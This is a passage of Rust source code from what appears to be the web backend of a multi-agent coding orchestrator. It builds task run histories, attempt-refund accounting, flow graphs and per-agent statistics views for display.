4577 None => ("open", None, "still open".to_owned()),
4578 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4579 Some(PassEnd::Unrecorded) => (
4580 "unrecorded",
4581 None,
4582 "stopped without recording why (a crash, a kill or a restart; not known)"
4583 .to_owned(),
4584 ),
4585 };
4586 Self {
4587 index: p.index,
4588 resumed: p.resumed,
4589 started_at: p.started_at,
4590 ended_at: p.ended_at,
4591 end,
4592 cause,
4593 label,
4594 cost: settled.map(|t| t.cost),
4595 }
4596 }
4597}
4598
4599#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4601#[serde(rename_all = "snake_case")]
4602enum RunExit {
4603 Unreadable,
4604 Interrupted,
4606 Parked,
4607 QuotaStall,
4608 ResumedQuotaStall,
4612 Merged,
4613 Ready,
4614 Superseded,
4615 AlreadyInBase,
4618 Stalled,
4620 HeldWithPr,
4622 NoopHeld,
4623 Spent,
4625 InProgress,
4626}
4627
4628#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4629#[serde(rename_all = "snake_case")]
4630enum AttemptCost {
4631 Spent,
4632 Refunded,
4633 None,
4634 Unknown,
4636}
4637
4638impl RunExit {
4639 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4640 let Some(s) = s else {
4641 return Self::Unreadable;
4642 };
4643 let status = s.status;
4644 if resumed_later {
4645 Self::Interrupted
4646 } else if s.parked {
4647 Self::Parked
4648 } else if !status.done() {
4649 Self::InProgress
4650 } else if matches!(status, RunStatus::Merged) {
4651 Self::Merged
4652 } else if matches!(status, RunStatus::Ready) {
4653 Self::Ready
4654 } else if matches!(status, RunStatus::Superseded) {
4655 Self::Superseded
4656 } else if matches!(status, RunStatus::AlreadyInBase) {
4657 Self::AlreadyInBase
4658 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4659 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4660 {
4661 if resumed {
4662 Self::ResumedQuotaStall
4663 } else {
4664 Self::QuotaStall
4665 }
4666 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4667 Self::HeldWithPr
4668 } else if matches!(status, RunStatus::VerifiedNoop) {
4669 Self::NoopHeld
4670 } else if matches!(status, RunStatus::Stalled) {
4671 Self::Stalled
4672 } else {
4673 Self::Spent
4674 }
4675 }
4676
4677 fn cost(self) -> AttemptCost {
4678 match self {
4679 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4680 Self::Merged
4681 | Self::Ready
4682 | Self::Stalled
4683 | Self::HeldWithPr
4684 | Self::NoopHeld
4685 | Self::Spent => AttemptCost::Spent,
4686 Self::InProgress => AttemptCost::None,
4687 Self::AlreadyInBase => AttemptCost::Refunded,
4688 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4689 AttemptCost::Unknown
4690 }
4691 }
4692 }
4693
4694 fn edge_label(self, status: Option<&str>) -> String {
4696 match self {
4697 Self::Unreadable => "record unreadable".to_owned(),
4698 Self::Interrupted => "interrupted before the run finished".to_owned(),
4699 Self::Parked => "parked, attempt refunded".to_owned(),
4700 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4701 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4702 Self::Merged => "merged".to_owned(),
4703 Self::Ready => "ready, not merged".to_owned(),
4704 Self::Superseded => "superseded by a later attempt".to_owned(),
4705 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4706 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4707 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4708 Self::NoopHeld => "verified no-op".to_owned(),
4709 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4710 Self::InProgress => "in progress".to_owned(),
4711 }
4712 }
4713
4714 fn explains(self, end: TaskStatus) -> bool {
4717 match self {
4718 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4719 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4720 Self::Unreadable | Self::Superseded | Self::Ready => true,
4721 _ => end != TaskStatus::Done,
4722 }
4723 }
4724}
4725
4726#[derive(Debug, Serialize)]
4728struct TaskDetailView {
4729 #[serde(flatten)]
4730 task: TaskView,
4731 max_attempts: usize,
4734 history: Vec<TaskRunView>,
4735 passes_total: usize,
4738 runs_distinct: usize,
4740 flow: FlowView,
4741 followup_origin: Option<FollowUpOrigin>,
4743 runs_unreadable: usize,
4745 attempts_note: &'static str,
4747}
4748
4749const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4750and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4751on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4752the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4753
4754fn review_branch_of(instruction: &str) -> Option<&str> {
4757 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4758 rest.split('`').next().filter(|b| !b.is_empty())
4759}
4760
4761#[derive(Default)]
4763struct RunSlot<'a> {
4764 n: usize,
4766 resumed: bool,
4768 resumed_later: Option<usize>,
4770 prior: Option<(&'a str, RunStatus)>,
4772 last: bool,
4773 pass: Option<&'a crate::run::RunPass>,
4775 settled: Option<&'a crate::queue::TaskPass>,
4777 pass_n: usize,
4779 passes_of_run: usize,
4780}
4781
4782fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4785 let RunSlot {
4786 n,
4787 resumed,
4788 resumed_later,
4789 prior,
4790 last,
4791 pass,
4792 settled,
4793 pass_n,
4794 passes_of_run,
4795 } = at;
4796 let short = run::short_of(id).to_owned();
4797 let Some(s) = state else {
4798 return TaskRunView {
4799 n,
4800 id: id.to_owned(),
4801 short,
4802 kind: "unknown",
4803 status: None,
4804 readable: false,
4805 provisional: false,
4806 description:
4807 "This run's record could not be read by this build (written by a different \
4808 magi, or removed), so what kind of attempt it was is unknown."
4809 .to_owned(),
4810 outcome: String::new(),
4811 created_at: None,
4812 pr: None,
4813 exit: RunExit::Unreadable,
4814 attempt: AttemptCost::Unknown,
4815 exit_label: RunExit::Unreadable.edge_label(None),
4816 later_pass: resumed_later,
4817 pass_n,
4818 passes_of_run,
4819 pass: None,
4820 branch: None,
4821 badge: None,
4822 };
4823 };
4824 let branch = review_branch_of(&s.instruction);
4825 let kind = if resumed {
4826 "resume"
4827 } else if branch.is_some() {
4828 "review"
4829 } else if task.solo || s.candidates.len() == 1 {
4830 "solo"
4831 } else {
4832 "competition"
4833 };
4834 let mut description = match kind {
4835 "resume" => {
4836 format!("Resumed run {short}: the same run carried on instead of competing again.")
4837 }
4838 "review" => format!(
4839 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4840 branch.unwrap_or_default()
4841 ),
4842 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4843 _ => format!(
4844 "Competition: {} candidates judged blind.",
4845 s.candidates.len().max(1)
4846 ),
4847 };
4848 if !resumed && let Some((p, st)) = prior {
4849 description.push_str(&format!(
4850 " A retry: run {p} before it ended {}.",
4851 st.display_label()
4852 ));
4853 }
4854
4855 let status = s.status;
4856 let provisional = matches!(status, RunStatus::Stalled)
4857 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4858 let head = if resumed_later.is_some() {
4859 String::new()
4860 } else {
4861 match status {
4862 RunStatus::Merged => "Merged.".to_owned(),
4863 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4864 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4865 RunStatus::AlreadyInBase => {
4866 "Already in the base: this change landed under other commits, nothing was left to land."
4867 .to_owned()
4868 }
4869 RunStatus::Stalled => {
4870 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4871 .to_owned()
4872 }
4873 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4874 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4875 RunStatus::VerifiedNoop => {
4876 "Verified no-op: the candidates found nothing to change.".to_owned()
4877 }
4878 other if other.done() => format!("Ended {}.", other.display_label()),
4879 other => format!("In progress ({}).", other.display_label()),
4880 }
4881 };
4882 let view = pass.map(|p| PassView::of(p, settled));
4883 let recorded_end = view
4884 .as_ref()
4885 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4886 let cost_words = match view.as_ref().and_then(|v| v.cost) {
4887 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4888 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4889 None => "whether its attempt was handed back was not recorded",
4890 };
4891 let pass_note = if passes_of_run > 1 {
4892 format!(
4893 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4894 )
4895 } else {
4896 String::new()
4897 };
4898 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4899 let cause = match v.end {
4901 "parked" => format!("It was stopped on purpose: {}.", v.label),
4902 _ => format!("It {}.", v.label),
4903 };
4904 format!(
4905 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4906 capitalise(cost_words)
4907 )
4908 } else if let Some(k) = resumed_later {
4909 let cause = if s.quota.is_empty() {
4916 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4917 } else {
4918 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4919 };
4920 format!(
4921 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4922 )
4923 } else if s.parked {
4924 match recorded_end.and_then(|v| v.cause.as_ref()) {
4925 Some(cause) => format!(
4926 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4927 cause.label(),
4928 cost_words
4929 ),
4930 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4931 .to_owned(),
4932 }
4933 } else if !status.done()
4934 || matches!(
4935 status,
4936 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4937 )
4938 {
4939 String::new()
4940 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4941 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4942 {
4943 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4944 .to_owned()
4945 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4946 " It left a pull request open, so the task was held for a person rather than retried."
4947 .to_owned()
4948 } else if matches!(status, RunStatus::VerifiedNoop) {
4949 " Held for a person to check the claim.".to_owned()
4950 } else if last {
4951 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4952 } else {
4953 " It spent an attempt, and the task moved on to the next run.".to_owned()
4954 };
4955 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4956 let mut attempt = exit.cost();
4957 let mut exit_label = None;
4958 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4959 let spent = match v.cost {
4960 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4961 Some(crate::queue::PassCost::Spent) => ", attempt counted",
4962 None if resumed_later.is_some() => ", refund not recorded",
4963 None => ", attempt refunded",
4964 };
4965 attempt = match v.cost {
4966 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4967 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4968 None if resumed_later.is_some() => AttemptCost::Unknown,
4969 None => attempt,
4970 };
4971 if v.end == "parked" {
4972 exit = RunExit::Parked;
4973 exit_label = Some(match v.cause.as_ref() {
4974 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4975 format!("parked for {}{spent}", c.label())
4976 }
4977 Some(c) => format!("parked ({}){spent}", c.label()),
4978 None => format!("parked{spent}"),
4979 });
4980 } else {
4981 exit_label = Some(format!("stopped without a recorded cause{spent}"));
4982 }
4983 }
4984 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4985 TaskRunView {
4986 n,
4987 id: id.to_owned(),
4988 short,
4989 kind,
4990 status: Some(status.as_str()),
4991 readable: true,
4992 provisional,
4993 description,
4994 outcome: format!("{head}{why}"),
4995 created_at: Some(s.created_at),
4996 pr: s.pr.as_ref().map(|p| p.url.clone()),
4997 exit,
4998 attempt,
4999 exit_label,
5000 later_pass: resumed_later,
5001 pass_n,
5002 passes_of_run,
5003 pass: view,
5004 branch: branch.map(str::to_owned),
5005 badge: None,
5006 }
5007}
5008
5009fn capitalise(s: &str) -> String {
5010 let mut c = s.chars();
5011 c.next().map_or_else(String::new, |f| {
5012 f.to_uppercase().collect::<String>() + c.as_str()
5013 })
5014}
5015
5016#[derive(Debug, Serialize, PartialEq)]
5018struct FlowNode {
5019 key: String,
5021 kind: &'static str,
5023 label: String,
5024 status: Option<&'static str>,
5027 status_of: &'static str,
5030 note: Option<&'static str>,
5032 run_kind: Option<&'static str>,
5033 detail: Option<String>,
5034 decided: bool,
5036 readable: bool,
5037 href: Option<String>,
5038 badge: Option<String>,
5040}
5041
5042#[derive(Debug, Serialize, PartialEq)]
5043struct FlowEdge {
5044 from: String,
5045 to: String,
5046 label: String,
5047 attempt: AttemptCost,
5048}
5049
5050#[derive(Debug, Serialize, PartialEq)]
5051struct FlowView {
5052 nodes: Vec<FlowNode>,
5053 edges: Vec<FlowEdge>,
5054 attempts: usize,
5056 max_attempts: usize,
5057 passes: usize,
5060 runs: usize,
5061}
5062
5063fn task_flow(
5072 task: &Task,
5073 history: &[TaskRunView],
5074 max_attempts: usize,
5075 origin: Option<&FollowUpOrigin>,
5076) -> FlowView {
5077 let max_attempts = task.effective_attempt_limit(max_attempts);
5078 let node = |key: &str, kind, label: String| FlowNode {
5079 key: key.to_owned(),
5080 kind,
5081 label,
5082 status: None,
5083 status_of: "run",
5084 note: None,
5085 run_kind: None,
5086 detail: None,
5087 decided: false,
5088 readable: true,
5089 href: None,
5090 badge: None,
5091 };
5092 let mut nodes = Vec::new();
5093 let mut edges: Vec<FlowEdge> = Vec::new();
5094 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5096 let mut n = node(
5097 "chat",
5098 "chat",
5099 format!("Chat {}", crate::queue::short(&link.id)),
5100 );
5101 n.href = Some(link.href);
5102 nodes.push(n);
5103 edges.push(FlowEdge {
5104 from: "chat".to_owned(),
5105 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5106 label: "queued from chat".to_owned(),
5107 attempt: AttemptCost::None,
5108 });
5109 }
5110 if let Some(o) = origin {
5111 let mut n = match &o.parent {
5112 Some(p) => {
5113 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5114 n.status = Some(p.status);
5115 n.status_of = "task";
5116 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5117 n.href = Some(p.href.clone());
5118 n
5119 }
5120 None => {
5121 let mut n = node(
5122 "origin",
5123 "followup",
5124 format!("Follow-up of run {}", o.run.short),
5125 );
5126 n.detail = Some("merged run".to_owned());
5127 n.status = o.run.status;
5128 n.href = o.run.href.clone();
5129 if o.run.href.is_none() {
5130 n.readable = false;
5131 n.note = Some("unreadable");
5132 }
5133 n
5134 }
5135 };
5136 n.decided = true;
5137 let from = n.key.clone();
5138 nodes.push(n);
5139 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5140 let more = o.findings.len().saturating_sub(shown.len());
5141 let label = match (shown.is_empty(), more) {
5142 (true, _) => "open findings".to_owned(),
5143 (false, 0) => format!("open findings {}", shown.join(", ")),
5144 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5145 };
5146 edges.push(FlowEdge {
5147 from,
5148 to: "start".to_owned(),
5149 label,
5150 attempt: AttemptCost::None,
5151 });
5152 }
5153 nodes.push(node("start", "start", "Task queued".to_owned()));
5154 let mut prev = "start".to_owned();
5155 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5156 for (i, h) in history.iter().enumerate() {
5157 let key = format!("run-{}", h.n);
5158 let mut n = node(&key, "run", format!("Run {}", h.short));
5159 n.run_kind = Some(h.kind);
5160 n.readable = h.readable;
5161 n.href = Some(format!("#/runs/{}", h.id));
5162 n.decided = h.readable && !h.provisional;
5163 n.detail = h
5164 .branch
5165 .as_ref()
5166 .map(|b| format!("review-only run of branch {b}"));
5167 match h.exit {
5168 RunExit::Unreadable => n.note = Some("unreadable"),
5169 RunExit::Interrupted => n.note = Some("interrupted"),
5170 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5173 _ => {
5174 n.status = h.status;
5175 n.badge = h.badge.clone();
5176 if h.provisional {
5177 n.note = Some("no verdict");
5178 }
5179 }
5180 }
5181 let into = match h.kind {
5182 "review" => Some(format!(
5183 "review-only run of branch {}",
5184 h.branch.as_deref().unwrap_or("?")
5185 )),
5186 "resume" => Some("resume the same run".to_owned()),
5187 _ if i > 0 => Some("retry".to_owned()),
5188 _ => None,
5189 };
5190 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5191 let label = match (prev_exit, into) {
5192 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5193 (Some((_, l, _)), None) => l,
5194 (None, Some(i)) => i,
5195 (None, None) => "claimed".to_owned(),
5196 };
5197 edges.push(FlowEdge {
5198 from: prev.clone(),
5199 to: key.clone(),
5200 label,
5201 attempt,
5202 });
5203 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5204 prev = key;
5205 nodes.push(n);
5206 }
5207 let mut end = node("end", "end", task.status.as_str().to_owned());
5208 end.status = Some(task.status.as_str());
5209 end.status_of = "task";
5210 nodes.push(end);
5211 let (label, attempt) = match prev_exit {
5212 None => (
5213 format!("no run yet \u{2192} {}", task.status.as_str()),
5214 AttemptCost::None,
5215 ),
5216 Some((e, l, cost)) if e.explains(task.status) => {
5217 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5218 }
5219 Some((_, _, cost)) => (
5220 format!("closed by hand: task is {}", task.status.as_str()),
5221 cost,
5222 ),
5223 };
5224 edges.push(FlowEdge {
5225 from: prev,
5226 to: "end".to_owned(),
5227 label,
5228 attempt,
5229 });
5230 FlowView {
5231 nodes,
5232 edges,
5233 attempts: task.attempts,
5234 max_attempts,
5235 passes: history.len(),
5236 runs: distinct_runs(&task.runs),
5237 }
5238}
5239
5240fn distinct_runs(runs: &[String]) -> usize {
5242 let mut seen: Vec<&str> = Vec::new();
5243 for r in runs {
5244 if !seen.contains(&r.as_str()) {
5245 seen.push(r);
5246 }
5247 }
5248 seen.len()
5249}
5250
5251fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5253 let mut slots = Vec::new();
5254 let mut seen = Vec::new();
5255 for run_id in &task.runs {
5256 if seen.contains(&run_id) {
5257 continue;
5258 }
5259 seen.push(run_id);
5260 let state = read(run_id);
5261 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5262 s.passes
5263 .iter()
5264 .filter(|p| {
5265 p.task_entry
5266 || task
5267 .passes
5268 .iter()
5269 .any(|t| t.run == *run_id && t.pass_index == p.index)
5270 })
5271 .cloned()
5272 .collect()
5273 });
5274 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5275 let total = legacy_count.max(mine.len());
5276 let offset = total - mine.len();
5277 for k in 0..total {
5278 let position = task
5281 .runs
5282 .iter()
5283 .enumerate()
5284 .filter(|(_, r)| *r == run_id)
5285 .nth(k.min(legacy_count - 1))
5286 .unwrap()
5287 .0;
5288 slots.push((
5289 run_id,
5290 state.clone(),
5291 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5292 position,
5293 ));
5294 }
5295 }
5296 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5297 slots.sort_by_key(|(_, state, pass, _)| {
5298 pass.as_ref()
5299 .map(|p| p.started_at)
5300 .or_else(|| state.as_ref().map(|s| s.created_at))
5301 .map_or((true, task.created_at), |at| (false, at))
5302 });
5303 } else {
5304 slots.sort_by_key(|(_, _, _, position)| *position);
5305 }
5306 let mut history = Vec::with_capacity(slots.len());
5307 let mut seen: Vec<&str> = Vec::new();
5308 let mut prior: Option<(&str, RunStatus)> = None;
5309 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5310 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5311 let resumed = k > 0;
5312 seen.push(run_id);
5313 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5314 let pass = pass.as_ref();
5315 let settled = pass.and_then(|p| {
5316 task.passes
5317 .iter()
5318 .find(|t| t.run == **run_id && t.pass_index == p.index)
5319 });
5320 history.push(task_run_view(
5321 run_id,
5322 state.as_ref(),
5323 RunSlot {
5324 n: i + 1,
5325 resumed,
5326 resumed_later: slots[i + 1..]
5327 .iter()
5328 .position(|(id, _, _, _)| id == run_id)
5329 .map(|off| i + off + 2),
5330 prior,
5331 last: i + 1 == slots.len(),
5332 pass,
5333 settled,
5334 pass_n: k + 1,
5335 passes_of_run: total,
5336 },
5337 task,
5338 ));
5339 if let Some(s) = &state {
5340 prior = Some((run::short_of(run_id), s.status));
5341 }
5342 }
5343 history
5344}
5345
5346fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5349 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5350 return;
5351 }
5352 let (_, claimed, _) = run_row_inputs(ui);
5353 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5354 for h in history
5355 .iter_mut()
5356 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5357 {
5358 let Ok(state) = read_run(&ui.runs, &h.id) else {
5359 continue;
5360 };
5361 if state.status.done() {
5362 continue;
5363 }
5364 let live = state.liveness_with(
5365 claimed.contains(&h.id),
5366 |p| probe.borrow_mut().status(p),
5367 |p| probe.borrow_mut().started_at(p),
5368 );
5369 let waiting = !ui.questions.open_for(&h.id).is_empty();
5370 let display = run_display_status(&state, waiting, live);
5371 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5372 if matches!(word.as_str(), "stale" | "superseded")
5373 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5374 {
5375 h.badge = Some(word);
5376 }
5377 }
5378}
5379
5380async fn task_detail(
5381 State(ui): State<Arc<Ui>>,
5382 Path(id): Path<String>,
5383) -> ApiResult<Json<TaskDetailView>> {
5384 blocking(move || {
5385 let id = resolve_task(&ui.queue, &id)?;
5386 let task = ui
5387 .queue
5388 .get(&id)
5389 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5390 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5391 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5392 mark_badges(&ui, &task, &mut history);
5393 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5394 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5395 let origin = task.followup.as_ref().map(|fu| {
5396 followup_origin(
5397 fu,
5398 |tid| ui.queue.get(tid).ok(),
5399 |rid| read_run(&ui.runs, rid).ok(),
5400 )
5401 });
5402 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5403 Ok(Json(TaskDetailView {
5404 max_attempts,
5405 flow,
5406 followup_origin: origin,
5407 passes_total: history.len(),
5408 runs_distinct: distinct_runs(&task.runs),
5409 history,
5410 runs_unreadable,
5411 attempts_note: ATTEMPTS_NOTE,
5412 task: TaskView::with_inventory(task, &inv),
5413 }))
5414 })
5415 .await
5416}
5417
5418#[derive(Debug, Serialize)]
5422struct RateView {
5423 pct: f64,
5424 denominator: usize,
5425}
5426
5427impl RateView {
5428 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5429 (denominator > 0).then(|| Self {
5430 pct: 100.0 * numerator as f64 / denominator as f64,
5431 denominator,
5432 })
5433 }
5434}
5435
5436#[derive(Debug, Serialize)]
5441struct StatsTotalsView {
5442 runs: usize,
5443 merged: usize,
5444 ready: usize,
5445 blocked: usize,
5446 failed: usize,
5447 stalled: usize,
5448 verified_noop: usize,
5449 superseded: usize,
5450 in_progress: usize,
5451 completion_rate: Option<RateView>,
5452 tallied: usize,
5453 split: usize,
5454 split_rate: Option<RateView>,
5455 deliberated: usize,
5456 minds_changed: usize,
5457 converged: usize,
5458 review_rounds: usize,
5459}
5460
5461impl From<&stats::Totals> for StatsTotalsView {
5462 fn from(t: &stats::Totals) -> Self {
5463 Self {
5464 runs: t.runs,
5465 merged: t.merged,
5466 ready: t.ready,
5467 blocked: t.blocked,
5468 failed: t.failed,
5469 stalled: t.stalled,
5470 verified_noop: t.verified_noop,
5471 superseded: t.superseded,
5472 in_progress: t.in_progress,
5473 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5474 tallied: t.tallied,
5475 split: t.split,
5476 split_rate: RateView::of(t.split, t.tallied),
5477 deliberated: t.deliberated,
5478 minds_changed: t.minds_changed,
5479 converged: t.converged,
5480 review_rounds: t.review_rounds,
5481 }
5482 }
5483}
5484
5485#[derive(Debug, Serialize)]
5487struct AgentStatsView {
5488 agent: String,
5489 entered: usize,
5490 wins: usize,
5491 empty: usize,
5492 win_rate: Option<RateView>,
5493 competitive_entered: usize,
5494 competitive_wins: usize,
5495 competitive_win_rate: Option<RateView>,
5496 solo_entered: usize,
5497 solo_adopted: usize,
5498 solo_adoption_rate: Option<RateView>,
5499}
5500
5501impl From<&stats::AgentStats> for AgentStatsView {
5502 fn from(a: &stats::AgentStats) -> Self {
5503 Self {
5504 agent: a.agent.clone(),
5505 entered: a.entered,
5506 wins: a.wins,
5507 empty: a.empty,
5508 win_rate: RateView::of(a.wins, a.entered),
5509 competitive_entered: a.competitive_entered,
5510 competitive_wins: a.competitive_wins,
5511 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5512 solo_entered: a.solo_entered,
5513 solo_adopted: a.solo_adopted,
5514 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5515 }
5516 }
5517}
5518
5519#[derive(Debug, Serialize)]
5523struct ReviewerStatsView {
5524 agent: String,
5525 rounds: usize,
5526 seated: usize,
5527 submitted: usize,
5528 adopted: usize,
5529 unique: usize,
5530 timeouts: usize,
5531 adopted_per_round: Option<f64>,
5532 precision: Option<RateView>,
5533 unique_rate: Option<RateView>,
5534 timeout_rate: Option<RateView>,
5535}
5536
5537impl From<&stats::ReviewerStats> for ReviewerStatsView {
5538 fn from(r: &stats::ReviewerStats) -> Self {
5539 Self {
5540 agent: r.agent.clone(),
5541 rounds: r.rounds,
5542 seated: r.seated,
5543 submitted: r.submitted,
5544 adopted: r.adopted,
5545 unique: r.unique,
5546 timeouts: r.timeouts,
5547 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5548 precision: RateView::of(r.adopted, r.submitted),
5549 unique_rate: RateView::of(r.unique, r.submitted),
5550 timeout_rate: RateView::of(r.timeouts, r.seated),
5551 }
5552 }
5553}
5554
5555#[derive(Debug, Serialize)]
5561struct AdvisorStatsView {
5562 agent: String,
5563 seated: usize,
5564 proposed: usize,
5565 absent: usize,
5566 faint: usize,
5567 strong: usize,
5568 reflection_rate: Option<RateView>,
5569}
5570
5571impl From<&stats::AdvisorStats> for AdvisorStatsView {
5572 fn from(a: &stats::AdvisorStats) -> Self {
5573 Self {
5574 agent: a.agent.clone(),
5575 seated: a.seated,
5576 proposed: a.proposed,
5577 absent: a.absent,
5578 faint: a.faint,
5579 strong: a.strong,
5580 reflection_rate: RateView::of(a.strong, a.proposed),
5581 }
5582 }
5583}
5584
5585#[derive(Debug, Serialize)]
5587struct E2eStatsView {
5588 rounds: usize,
5589 failures: usize,
5590 sole_detections: usize,
5591 deferred: usize,
5592 sole_rate: Option<RateView>,
5593}
5594
5595impl From<&stats::E2eStats> for E2eStatsView {
5596 fn from(e: &stats::E2eStats) -> Self {
5597 Self {
5598 rounds: e.rounds,
5599 failures: e.failures,
5600 sole_detections: e.sole_detections,
5601 deferred: e.deferred,
5602 sole_rate: RateView::of(e.sole_detections, e.failures),
5603 }
5604 }
5605}
5606
5607#[derive(Debug, Serialize)]
5615struct ReleaseBumpStatsView {
5616 merged: usize,
5617 recorded: usize,
5618 pr_opened: usize,
5619 automerge_enabled: usize,
5620 merged_directly: usize,
5621 needs_attention: usize,
5622 clean: usize,
5623 coverage_rate: Option<RateView>,
5624 automerge_rate: Option<RateView>,
5625 attention_rate: Option<RateView>,
5626}
5627
5628impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5629 fn from(b: &stats::ReleaseBumpStats) -> Self {
5630 Self {
5631 merged: b.merged,
5632 recorded: b.recorded,
5633 pr_opened: b.pr_opened,
5634 automerge_enabled: b.automerge_enabled,
5635 merged_directly: b.merged_directly,
5636 needs_attention: b.needs_attention,
5637 clean: b.clean(),
5638 coverage_rate: RateView::of(b.recorded, b.merged),
5639 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5640 attention_rate: RateView::of(b.needs_attention, b.recorded),
5641 }
5642 }
5643}
5644
5645#[derive(Debug, Serialize)]
5647struct TaskCountsView {
5648 queued: usize,
5649 running: usize,
5650 done: usize,
5651 failed: usize,
5652 held: usize,
5653 blocked: usize,
5654 parked: usize,
5655}
5656
5657impl From<crate::queue::TaskCounts> for TaskCountsView {
5658 fn from(c: crate::queue::TaskCounts) -> Self {
5659 Self {
5660 queued: c.queued,
5661 running: c.running,
5662 done: c.done,
5663 failed: c.failed,
5664 held: c.held,
5665 blocked: c.blocked,
5666 parked: c.parked,
5667 }
5668 }
5669}
5670
5671#[derive(Debug, Serialize)]
5677struct RepoSummaryView {
5678 repo: String,
5681 name: String,
5683 runs: usize,
